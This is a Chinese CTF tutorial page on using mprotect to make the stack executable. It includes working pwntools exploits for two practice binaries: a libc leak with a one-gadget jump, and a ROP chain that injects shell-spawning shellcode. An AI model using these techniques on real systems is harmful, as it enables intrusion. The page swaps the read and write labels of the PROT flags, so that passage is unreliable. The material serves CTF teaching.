📊
CTF-All-In-One
  • 简介
  • 前言
  • 一、基础知识篇
    • 1.1 CTF 简介
    • 1.2 学习方法
    • 1.3 Linux 基础
    • 1.4 Web 安全基础
      • 1.4.1 HTML 基础
      • 1.4.2 HTTP 协议基础
      • 1.4.3 JavaScript 基础
      • 1.4.4 常见 Web 服务器基础
      • 1.4.5 OWASP Top Ten Project 漏洞基础
      • 1.4.6 PHP 源码审计基础
    • 1.5 逆向工程基础
      • 1.5.1 C/C++ 语言基础
      • 1.5.2 汇编基础
      • 1.5.3 Linux ELF
      • 1.5.4 Windows PE
      • 1.5.5 静态链接
      • 1.5.6 动态链接
      • 1.5.7 内存管理
      • 1.5.8 glibc malloc
      • 1.5.9 Linux 内核
      • 1.5.10 Windows 内核
      • 1.5.11 jemalloc
    • 1.6 密码学基础
      • 1.6.1 密码学导论
      • 1.6.2 流密码
      • 1.6.3 分组密码
      • 1.6.4 公钥密码
      • 1.6.5 消息认证和哈希函数
      • 1.6.6 数字签名
      • 1.6.7 密码协议
      • 1.6.8 密钥分配与管理
      • 1.6.9 数字货币
    • 1.7 Android 安全基础
      • 1.7.1 Android 环境搭建
      • 1.7.2 Dalvik 指令集
      • 1.7.3 ARM 汇编基础
      • 1.7.4 Android 常用工具
  • 二、工具篇
    • 虚拟化分析环境
      • 2.1.1 VirtualBox
      • 2.1.2 QEMU
      • 2.1.3 Docker
      • 2.1.4 Unicorn
    • 静态分析工具
      • 2.2.1 radare2
      • 2.2.2 IDA Pro
      • 2.2.3 JEB
      • 2.2.4 Capstone
      • 2.2.5 Keystone
      • 2.2.6 Ghidra
    • 动态分析工具
      • 2.3.1 GDB
      • 2.3.2 OllyDbg
      • 2.3.3 x64dbg
      • 2.3.4 WinDbg
      • 2.3.5 LLDB
    • 其他工具
      • 2.4.1 pwntools
      • 2.4.2 zio
      • 2.4.3 metasploit
      • 2.4.4 binwalk
      • 2.4.5 Burp Suite
      • 2.4.6 Wireshark
      • 2.4.7 Cuckoo Sandbox
  • 三、分类专题篇
    • Pwn
      • 3.1.1 格式化字符串漏洞
      • 3.1.2 整数溢出
      • 3.1.3 栈溢出
      • 3.1.4 返回导向编程(ROP)(x86)
      • 3.1.5 返回导向编程(ROP)(ARM)
      • 3.1.6 Linux 堆利用(一)
      • 3.1.7 Linux 堆利用(二)
      • 3.1.8 Linux 堆利用(三)
      • 3.1.9 Linux 堆利用(四)
      • 3.1.10 内核 ROP
      • 3.1.11 Linux 内核漏洞利用
      • 3.1.12 Windows 内核漏洞利用
      • 3.1.13 竞争条件
      • 3.1.14 虚拟机逃逸
    • Reverse
      • 3.2.1 patch 二进制文件
      • 3.2.2 脱壳技术(PE)
      • 3.2.3 脱壳技术(ELF)
      • 3.2.4 反调试技术(PE)
      • 3.2.5 反调试技术(ELF)
      • 3.2.6 指令混淆
    • Web
      • 3.3.1 SQL 注入利用
      • 3.3.2 XSS 漏洞利用
    • Crypto
    • Misc
      • 3.5.1 Lsb
    • Mobile
  • 四、技巧篇
    • 4.1 Linux 内核调试
    • 4.2 Linux 命令行技巧
    • 4.3 GCC 编译参数解析
    • 4.4 GCC 堆栈保护技术
    • 4.5 ROP 防御技术
    • 4.6 one-gadget RCE
    • 4.7 通用 gadget
    • 4.8 使用 DynELF 泄露函数地址
    • 4.9 shellcode 开发
    • 4.10 跳转导向编程(JOP)
    • 4.11 利用 mprotect 修改栈权限
    • 4.12 利用 __stack_chk_fail
    • 4.13 利用 _IO_FILE 结构
    • 4.14 glibc tcache 机制
    • 4.15 利用 vsyscall 和 vDSO
  • 五、高级篇
    • 5.0 软件漏洞分析
    • 5.1 模糊测试
      • 5.1.1 AFL fuzzer
      • 5.1.2 libFuzzer
    • 5.2 动态二进制插桩
      • 5.2.1 Pin
      • 5.2.2 DynamoRio
      • 5.2.3 Valgrind
    • 5.3 符号执行
      • 5.3.1 angr
      • 5.3.2 Triton
      • 5.3.3 KLEE
      • 5.3.4 S²E
    • 5.4 数据流分析
      • 5.4.1 Soot
    • 5.5 污点分析
      • 5.5.1 TaintCheck
    • 5.6 LLVM
      • 5.6.1 Clang
    • 5.7 程序切片
    • 5.8 SAT/SMT
      • 5.8.1 Z3
    • 5.9 基于模式的漏洞分析
    • 5.10 基于二进制比对的漏洞分析
    • 5.11 反编译技术
      • 5.11.1 RetDec
  • 六、题解篇
    • Pwn
      • 6.1.1 pwn HCTF2016 brop
      • 6.1.2 pwn NJCTF2017 pingme
      • 6.1.3 pwn XDCTF2015 pwn200
      • 6.1.4 pwn BackdoorCTF2017 Fun-Signals
      • 6.1.5 pwn GreHackCTF2017 beerfighter
      • 6.1.6 pwn DefconCTF2015 fuckup
      • 6.1.7 pwn 0CTF2015 freenote
      • 6.1.8 pwn DCTF2017 Flex
      • 6.1.9 pwn RHme3 Exploitation
      • 6.1.10 pwn 0CTF2017 BabyHeap2017
      • 6.1.11 pwn 9447CTF2015 Search-Engine
      • 6.1.12 pwn N1CTF2018 vote
      • 6.1.13 pwn 34C3CTF2017 readme_revenge
      • 6.1.14 pwn 32C3CTF2015 readme
      • 6.1.15 pwn 34C3CTF2017 SimpleGC
      • 6.1.16 pwn HITBCTF2017 1000levels
      • 6.1.17 pwn SECCONCTF2016 jmper
      • 6.1.18 pwn HITBCTF2017 Sentosa
      • 6.1.19 pwn HITBCTF2018 gundam
      • 6.1.20 pwn 33C3CTF2016 babyfengshui
      • 6.1.21 pwn HITCONCTF2016 Secret_Holder
      • 6.1.22 pwn HITCONCTF2016 Sleepy_Holder
      • 6.1.23 pwn BCTF2016 bcloud
      • 6.1.24 pwn HITCONCTF2016 House_of_Orange
      • 6.1.25 pwn HCTF2017 babyprintf
      • 6.1.26 pwn 34C3CTF2017 300
      • 6.1.27 pwn SECCONCTF2016 tinypad
      • 6.1.28 pwn ASISCTF2016 b00ks
      • 6.1.29 pwn Insomni'hack_teaserCTF2017 The_Great_Escape_part-3
      • 6.1.30 pwn HITCONCTF2017 Ghost_in_the_heap
      • 6.1.31 pwn HITBCTF2018 mutepig
      • 6.1.32 pwn SECCONCTF2017 vm_no_fun
      • 6.1.33 pwn 34C3CTF2017 LFA
      • 6.1.34 pwn N1CTF2018 memsafety
      • 6.1.35 pwn 0CTF2018 heapstorm2
      • 6.1.36 pwn NJCTF2017 messager
      • 6.1.37 pwn sixstarctf2018 babystack
      • 6.1.38 pwn HITCONCMT2017 pwn200
      • 6.1.39 pwn BCTF2018 house_of_Atum
      • 6.1.40 pwn LCTF2016 pwn200
      • 6.1.41 pwn PlaidCTF2015 PlaidDB
      • 6.1.42 pwn hacklu2015 bookstore
      • 6.1.43 pwn 0CTF2018 babyheap
      • 6.1.44 pwn ASIS2017 start_hard
      • 6.1.45 pwn LCTF2016 pwn100
    • Reverse
      • 6.2.1 re XHPCTF2017 dont_panic
      • 6.2.2 re ECTF2016 tayy
      • 6.2.3 re CodegateCTF2017 angrybird
      • 6.2.4 re CSAWCTF2015 wyvern
      • 6.2.5 re PicoCTF2014 Baleful
      • 6.2.6 re SECCONCTF2017 printf_machine
      • 6.2.7 re CodegateCTF2018 RedVelvet
      • 6.2.8 re DefcampCTF2015 entry_language
    • Web
      • 6.3.1 web HCTF2017 babycrack
    • Crypto
    • Misc
    • Mobile
  • 七、实战篇
    • CVE
      • 7.1.1 CVE-2017-11543 tcpdump sliplink_print 栈溢出漏洞
      • 7.1.2 CVE-2015-0235 glibc __nss_hostname_digits_dots 堆溢出漏洞
      • 7.1.3 CVE-2016-4971 wget 任意文件上传漏洞
      • 7.1.4 CVE-2017-13089 wget skip_short_body 栈溢出漏洞
      • 7.1.5 CVE–2018-1000001 glibc realpath 缓冲区下溢漏洞
      • 7.1.6 CVE-2017-9430 DNSTracer 栈溢出漏洞
      • 7.1.7 CVE-2018-6323 GNU binutils elf_object_p 整型溢出漏洞
      • 7.1.8 CVE-2010-2883 Adobe CoolType SING 表栈溢出漏洞
      • 7.1.9 CVE-2010-3333 Microsoft Word RTF pFragments 栈溢出漏洞
    • Malware
  • 八、学术篇
    • 8.1 The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)
    • 8.2 Return-Oriented Programming without Returns
    • 8.3 Return-Oriented Rootkits: Bypassing Kernel Code Integrity Protection Mechanisms
    • 8.4 ROPdefender: A Detection Tool to Defend Against Return-Oriented Programming Attacks
    • 8.5 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks
    • 8.7 What Cannot Be Read, Cannot Be Leveraged? Revisiting Assumptions of JIT-ROP Defenses
    • 8.9 Symbolic Execution for Software Testing: Three Decades Later
    • 8.10 AEG: Automatic Exploit Generation
    • 8.11 Address Space Layout Permutation (ASLP): Towards Fine-Grained Randomization of Commodity Softwa
    • 8.13 New Frontiers of Reverse Engineering
    • 8.14 Who Allocated My Memory? Detecting Custom Memory Allocators in C Binaries
    • 8.21 Micro-Virtualization Memory Tracing to Detect and Prevent Spraying Attacks
    • 8.22 Practical Memory Checking With Dr. Memory
    • 8.23 Evaluating the Effectiveness of Current Anti-ROP Defenses
    • 8.24 How to Make ASLR Win the Clone Wars: Runtime Re-Randomization
    • 8.25 (State of) The Art of War: Offensive Techniques in Binary Analysis
    • 8.26 Driller: Augmenting Fuzzing Through Selective Symbolic Execution
    • 8.27 Firmalice - Automatic Detection of Authentication Bypass Vulnerabilities in Binary Firmware
    • 8.28 Cross-Architecture Bug Search in Binary Executables
    • 8.29 Dynamic Hooks: Hiding Control Flow Changes within Non-Control Data
    • 8.30 Preventing brute force attacks against stack canary protection on networking servers
    • 8.33 Under-Constrained Symbolic Execution: Correctness Checking for Real Code
    • 8.34 Enhancing Symbolic Execution with Veritesting
    • 8.38 TaintEraser: Protecting Sensitive Data Leaks Using Application-Level Taint Tracking
    • 8.39 DART: Directed Automated Random Testing
    • 8.40 EXE: Automatically Generating Inputs of Death
    • 8.41 IntPatch: Automatically Fix Integer-Overflow-to-Buffer-Overflow Vulnerability at Compile-Time
    • 8.42 Dynamic Taint Analysis for Automatic Detection, Analysis, and Signature Generation of Exploits
    • 8.43 DTA++: Dynamic Taint Analysis with Targeted Control-Flow Propagation
    • 8.44 Superset Disassembly: Statically Rewriting x86 Binaries Without Heuristics
    • 8.45 Ramblr: Making Reassembly Great Again
    • 8.46 FreeGuard: A Faster Secure Heap Allocator
    • 8.48 Reassembleable Disassembling
  • 九、附录
    • 9.1 更多 Linux 工具
    • 9.2 更多 Windows 工具
    • 9.3 更多资源
    • 9.4 Linux 系统调用表
    • 9.5 python2到3字符串转换
    • 9.6 幻灯片
Powered by GitBook
On this page
  • mprotect 函数
  • 例题
  • 参考资料

Was this helpful?

  1. 四、技巧篇

4.11 利用 mprotect 修改栈权限

Previous4.10 跳转导向编程(JOP)Next4.12 利用 __stack_chk_fail

Last updated 3 years ago

Was this helpful?

mprotect 函数

mprotect 函数用于设置一块内存的保护权限(将从 start 开始、长度为 len 的内存的保护属性修改为 prot 指定的值),函数原型如下所示:

#include <sys/mman.h>

int mprotect(void *addr, size_t len, int prot);
  • prot 的取值如下,通过 | 可以将几个属性结合使用(值相加):

    • PROT_READ:可写,值为 1

    • PROT_WRITE:可读, 值为 2

    • PROT_EXEC:可执行,值为 4

    • PROT_NONE:不允许访问,值为 0

需要注意的是,指定的内存区间必须包含整个内存页(4K),起始地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍。

如果执行成功,函数返回 0;如果执行失败,函数返回 -1,并且通过 errno 变量表示具体原因。错误的原因主要有以下几个:

  • EACCES:该内存不能设置为相应权限。这是可能发生的,比如 mmap(2) 映射一个文件为只读的,接着使用 mprotect() 修改为 PROT_WRITE。

  • EINVAL:start 不是一个有效指针,指向的不是某个内存页的开头。

  • ENOMEM:内核内部的结构体无法分配。

  • ENOMEM:进程的地址空间在区间 [start, start+len] 范围内是无效,或者有一个或多个内存页没有映射。

当一个进程的内存访问行为违背了内存的保护属性,内核将发出 SIGSEGV(Segmentation fault,段错误)信号,并且终止该进程。

例题

先来看 pwn1,这是一个 64 位的动态链接程序,开启了 Partial RELRO 和 NX。系统层面 ASLR 也是开启的。

$ file pwn1 
pwn1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f92248c7cd330ab53768c281b50d14b4612259f4, not stripped
$ pwn checksec pwn1
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

主函数 main() 先调用 write() 打印字符串,然后进入存在栈溢出漏洞的 vul() 函数,read(0, &buf, 0x100uLL) 读入最多 0x100 字节到 0x80 大小的缓冲区。

.text:0000000000400587 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000400587 public main
.text:0000000000400587 main proc near
.text:0000000000400587 ; __unwind {
.text:0000000000400587 push    rbp
.text:0000000000400588 mov     rbp, rsp
.text:000000000040058B mov     edx, 9          ; n
.text:0000000000400590 mov     esi, offset aWelcome ; "welcome~\n"
.text:0000000000400595 mov     edi, 1          ; fd
.text:000000000040059A call    _write
.text:000000000040059F call    vul
.text:00000000004005A4 mov     eax, 0
.text:00000000004005A9 pop     rbp
.text:00000000004005AA retn
.text:00000000004005AA ; } // starts at 400587
.text:00000000004005AA main endp

.text:0000000000400566 public vul
.text:0000000000400566 vul proc near
.text:0000000000400566
.text:0000000000400566 buf= byte ptr -80h
.text:0000000000400566
.text:0000000000400566 ; __unwind {
.text:0000000000400566 push    rbp
.text:0000000000400567 mov     rbp, rsp
.text:000000000040056A add     rsp, 0FFFFFFFFFFFFFF80h
.text:000000000040056E lea     rax, [rbp+buf]
.text:0000000000400572 mov     edx, 100h       ; nbytes
.text:0000000000400577 mov     rsi, rax        ; buf
.text:000000000040057A mov     edi, 0          ; fd
.text:000000000040057F call    _read
.text:0000000000400584 nop
.text:0000000000400585 leave
.text:0000000000400586 retn
.text:0000000000400586 ; } // starts at 400566
.text:0000000000400586 vul endp

总体思路就是栈溢出控制返回地址,执行 one-gadget。因此,我们还需要泄漏 libc 地址,程序里有 write() 函数可以利用。exp 如下所示:

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

io = process('./pwn1')
elf = ELF('./pwn1')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

pop_rsi_r15 = 0x400611
pop_rdi = 0x400613
write = 0x400595

payload = "A"*0x88 + p64(pop_rsi_r15) + p64(elf.got['write'])*2 + p64(write)

io.sendlineafter('welcome~\n', payload)

write_addr = u64(io.recv(8))
io.recv()

one_gadget = write_addr - libc.sym['write'] + 0x4527a
payload = "A"*0x88 + p64(one_gadget)

io.sendline(payload)

io.interactive()

pwn2 是一个 64 位的静态链接程序,开启了 Partial RELRO 和 NX。

$ file pwn2 
pwn2: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=a3abf349ced6dccd645f0a95d9d47e8ac1217e3e, not stripped
$ pwn checksec pwn2 
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

由于静态链接程序的执行不再需要 libc,因此 ret2libc 类型的攻击手段就失效了,需要考虑注入 shellcode,但是又开启了 NX 保护,这时就需要使用本节所讲的 mprotect() 函数修改栈的可执行权限。

可以在程序里找到关键函数 _dl_make_stack_executable(),该函数内部调用了 mprotect(v3, dl_pagesize, (unsigned int)_stack_prot):

$ readelf -s pwn2 | grep exec
   635: 0000000000499f70  2296 FUNC    LOCAL  DEFAULT    6 execute_cfa_program
   639: 000000000049af40  2094 FUNC    LOCAL  DEFAULT    6 execute_stack_op
   821: 0000000000474730    92 FUNC    GLOBAL DEFAULT    6 _dl_make_stack_executable
  1831: 00000000006cb168     8 OBJECT  GLOBAL DEFAULT   25 _dl_make_stack_executable
unsigned int __fastcall dl_make_stack_executable(_QWORD *a1)
{
  __int64 v1; // rdx
  _QWORD *v2; // rax
  signed __int64 v3; // rdi
  _QWORD *v4; // rbx
  unsigned int result; // eax

  v1 = *a1;
  v2 = a1;
  v3 = *a1 & -(signed __int64)dl_pagesize;
  if ( v1 != _libc_stack_end )
    return 1;
  v4 = v2;
  result = mprotect(v3, dl_pagesize, (unsigned int)_stack_prot);
  if ( result )
    return __readfsdword(0xFFFFFFD0);
  *v4 = 0LL;
  dl_stack_flags |= 1u;
  return result;
}

构造方法是在进入 _dl_make_stack_executable 函数之前,将全局变量 _stack_prot 设置为 7(可读可写可执行),同时将 rdi 设置为全局变量 __libc_stack_end 的值。如下所示:

gef➤  x/gx $rsp-0x10
0x7ffef00bbb08:	0x4141414141414141
0x7ffef00bbb10:	0x4141414141414141
0x7ffef00bbb18:	0x00000000004015e7  # pop rsi ; ret
0x7ffef00bbb20:	0x0000000000000007      # rwx
0x7ffef00bbb28:	0x00000000004014c6  # pop rdi ; ret
0x7ffef00bbb30:	0x00000000006c9fe0      # __stack_prot
0x7ffef00bbb38:	0x000000000047a3b2  # mov [rdi], rsi
0x7ffef00bbb40:	0x00000000004014c6  # pop rdi ; ret
0x7ffef00bbb48:	0x00000000006c9f90      # __libc_stack_end
0x7ffef00bbb50:	0x0000000000474730      # _dl_make_stack_executable
0x7ffef00bbb58:	0x00000000004009e7      # vul

调用 mprotect 前:

     0x474754 <_dl_make_stack_executable+36> add    BYTE PTR [rbx+0x48], dl
     0x474757 <_dl_make_stack_executable+39> mov    ebx, eax
 →   0x474759 <_dl_make_stack_executable+41> call   0x43fd00 <mprotect>
   ↳    0x43fd00 <mprotect+0>     mov    eax, 0xa
        0x43fd05 <mprotect+5>     syscall 
        0x43fd07 <mprotect+7>     cmp    rax, 0xfffffffffffff001

mprotect (
   $rdi = 0x00007ffef00bb000 → 0x0000000000000000,
   $rsi = 0x0000000000001000,
   $rdx = 0x0000000000000007
)

gef➤  vmmap 
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004ca000 0x0000000000000000 r-x /home/firmy/pwn/pwn2/pwn2
0x00000000006c9000 0x00000000006cc000 0x00000000000c9000 rw- /home/firmy/pwn/pwn2/pwn2
0x00000000006cc000 0x00000000006ce000 0x0000000000000000 rw- 
0x00000000009b6000 0x00000000009d9000 0x0000000000000000 rw- [heap]
0x00007ffef009d000 0x00007ffef00be000 0x0000000000000000 rw- [stack]
0x00007ffef0194000 0x00007ffef0197000 0x0000000000000000 r-- [vvar]
0x00007ffef0197000 0x00007ffef0199000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

调用 mprotect 后,可以看到 0x00007ffef00bb000 到 0x00007ffef00bc000 的栈内存已经是 rwx 权限了:

gef➤  vmmap 
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004ca000 0x0000000000000000 r-x /home/firmy/pwn/pwn2/pwn2
0x00000000006c9000 0x00000000006cc000 0x00000000000c9000 rw- /home/firmy/pwn/pwn2/pwn2
0x00000000006cc000 0x00000000006ce000 0x0000000000000000 rw- 
0x00000000009b6000 0x00000000009d9000 0x0000000000000000 rw- [heap]
0x00007ffef009d000 0x00007ffef00bb000 0x0000000000000000 rw- 
0x00007ffef00bb000 0x00007ffef00bc000 0x0000000000000000 rwx [stack]
0x00007ffef00bc000 0x00007ffef00be000 0x0000000000000000 rw- 
0x00007ffef0194000 0x00007ffef0197000 0x0000000000000000 r-- [vvar]
0x00007ffef0197000 0x00007ffef0199000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

接下来程序跳到 vul 函数,读入 shellcode 到栈上并执行,即可获得 shell。exp 如下所示:

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

io = process('./pwn2')
elf = ELF('./pwn2')

vul = 0x4009E7
write = 0x4009DD

pop_rdi = 0x4014c6
pop_rsi = 0x4015e7
pop_rdx = 0x442626
jmp_rsi = 0x4a3313
mov_rdi_esi = 0x47a3b3

payload  = "A"*0x88
payload += p64(pop_rsi) + p64(7) + p64(pop_rdi) + p64(elf.sym['__stack_prot']) + p64(mov_rdi_esi)
payload += p64(pop_rdi) + p64(elf.sym['__libc_stack_end']) + p64(elf.sym['_dl_make_stack_executable'])
payload += p64(vul)

io.sendlineafter('welcome~\n', payload)

shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x88, "A") + p64(jmp_rsi)

io.sendline(payload)

io.interactive()

参考资料

例题来自 2020 安网杯,pwn1 是相对简单对栈溢出,pwn2 在此基础上增加了 mprotect 的运用,同时还是一个静态编译的程序。

下载地址
mprotect 函数
参考资料